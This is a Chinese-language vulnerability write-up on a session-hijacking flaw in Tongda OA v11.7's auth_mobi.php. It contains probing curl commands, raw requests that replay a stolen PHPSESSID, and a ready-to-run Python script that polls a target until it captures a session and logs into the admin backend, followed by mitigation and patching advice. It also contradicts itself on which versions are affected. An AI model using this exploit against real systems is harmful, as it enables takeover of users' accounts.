通达OA v11.7 auth_mobi.php 漏洞深度剖析:从SQL查询到PHPSESSID劫持的3步攻击链
通达OA v11.7 auth_mobi.php 会话劫持漏洞技术解析与防御实践
漏洞背景与影响范围
通达OA作为国内广泛使用的办公自动化系统,其v11.7版本中auth_mobi.php文件存在一个高危的会话劫持漏洞。该漏洞允许攻击者在特定条件下获取合法用户的PHPSESSID,进而绕过认证机制直接登录系统。根据公开资料分析,此漏洞影响所有低于v11.7的通达OA版本。
核心问题在于系统对移动端身份验证接口的设计缺陷:当用户在线时,该接口会直接返回用户的会话标识符,且缺乏必要的权限校验机制。这种设计违反了"最小权限原则",使得攻击者可以通过构造特定请求获取敏感会话信息。
漏洞原理深度分析
1. 缺陷代码定位
漏洞核心位于webroot/mobile/auth_mobi.php文件中的以下代码段:
if ($isAvatar == '1' && $uid != '' && $P_VER != '') { $sql = 'SELECT SID FROM user_online WHERE UID = \'' . $uid . '\' and CLIENT = \'' . $P_VER . '\''; $cursor = exequery(TD::conn(), $sql); if ($row = mysql_fetch_array($cursor)) { $P = $row['SID']; } }这段代码存在三个关键问题:
- 未授权访问:接口未验证请求者的身份
- SQL注入风险:直接拼接用户输入的
uid和P_VER参数 - 敏感信息暴露:直接返回用户的会话ID
2. 攻击链构建逻辑
完整的攻击过程可分为三个阶段:
探测阶段:通过发送
isAvatar=1&uid=1&P_VER=0参数探测目标用户是否在线- 返回"RELOGIN"表示用户离线
- 返回空值且HTTP头包含PHPSESSID表示用户在线
会话窃取阶段:从响应头中提取PHPSESSID值
HTTP/1.1 200 OK Set-Cookie: PHPSESSID=si0q13dnp2rqq142sabfumi235; path=/权限提升阶段:将窃取的会话ID注入自己的请求中,访问后台管理界面
GET /general/index.php HTTP/1.1 Cookie: PHPSESSID=si0q13dnp2rqq142sabfumi235
3. 漏洞利用条件对比
| 条件项 | 必需条件 | 可选条件 |
|---|---|---|
| 目标系统版本 | 通达OA < v11.7 | 无 |
| 用户状态 | 至少一个用户在线 | 管理员在线最佳 |
| 网络可达 | 可访问目标OA系统 | 无 |
| 其他依赖 | 无 | 可结合其他漏洞提升权限 |
漏洞验证与实战演示
1. 手工验证步骤
访问漏洞接口探测用户状态:
curl -v "http://target/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0"分析响应内容:
- 若返回
RELOGIN,表示用户不在线 - 若返回空且包含
Set-Cookie头,记录PHPSESSID值
- 若返回
使用窃取的会话访问后台:
curl -H "Cookie: PHPSESSID=窃取的会话ID" "http://target/general/index.php"
2. 自动化利用脚本
以下Python脚本实现了自动化监控和会话窃取:
import requests import re import time def check_session(target): vuln_url = f"{target}/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0" try: resp = requests.get(vuln_url, verify=False, timeout=5) if "RELOGIN" in resp.text: print("[!] 目标用户当前离线") elif resp.status_code == 200 and not resp.text.strip(): session_id = re.search(r'PHPSESSID=(.*?);', str(resp.headers)) if session_id: print(f"[+] 获取到有效会话: {session_id.group(1)}") return session_id.group(1) except Exception as e: print(f"[x] 请求失败: {str(e)}") return None def exploit_session(target, session_id): headers = {"Cookie": f"PHPSESSID={session_id}"} resp = requests.get(f"{target}/general/index.php", headers=headers) if "系统管理" in resp.text: print("[+] 成功登录后台系统") else: print("[-] 会话无效或权限不足") if __name__ == "__main__": target = input("请输入目标URL(如http://192.168.1.100): ").strip() while True: session = check_session(target) if session: exploit_session(target, session) break time.sleep(5)注意:此脚本仅用于安全研究目的,实际使用时应遵守相关法律法规。
防御方案与修复建议
1. 临时缓解措施
对于无法立即升级的系统,建议采取以下防护手段:
访问控制:在Web服务器层面对
auth_mobi.php添加IP白名单限制location ~ /mobile/auth_mobi\.php { allow 192.168.1.0/24; deny all; }会话加固:修改php.ini增加会话安全配置
session.cookie_httponly = 1 session.cookie_secure = 1 session.use_strict_mode = 1
2. 根本解决方案
- 版本升级:立即升级到v11.8或更高版本
- 代码修复:若必须使用旧版本,应修改
auth_mobi.php:- 添加身份验证逻辑
- 使用预处理语句防止SQL注入
- 移除敏感会话信息的直接返回
3. 安全防护体系建议
| 防护层面 | 具体措施 | 实施难度 |
|---|---|---|
| 网络层 | 部署WAF规则拦截异常请求 | 低 |
| 系统层 | 定期更新补丁,限制服务器出站连接 | 中 |
| 应用层 | 实施双因素认证,加强会话管理 | 高 |
| 监控层 | 建立异常登录告警机制 | 中 |
漏洞延伸思考
这个漏洞反映了几个常见的安全问题:
- 接口权限设计缺陷:移动端接口往往为了便利性牺牲安全性
- 会话管理不当:将会话ID视为普通数据而非敏感凭证
- 防御深度不足:缺乏多层次的防护措施
在实际开发中,建议遵循以下原则:
- 所有接口默认应要求认证
- 敏感操作需二次验证
- 实施最小权限原则
- 关键操作日志完整记录
我曾在一个企业内网渗透测试中发现,虽然系统已修复此漏洞,但攻击者仍可通过历史漏洞获取的凭证横向移动。这提醒我们:安全是一个持续过程,单点修复远远不够,需要建立全面的安全防护体系。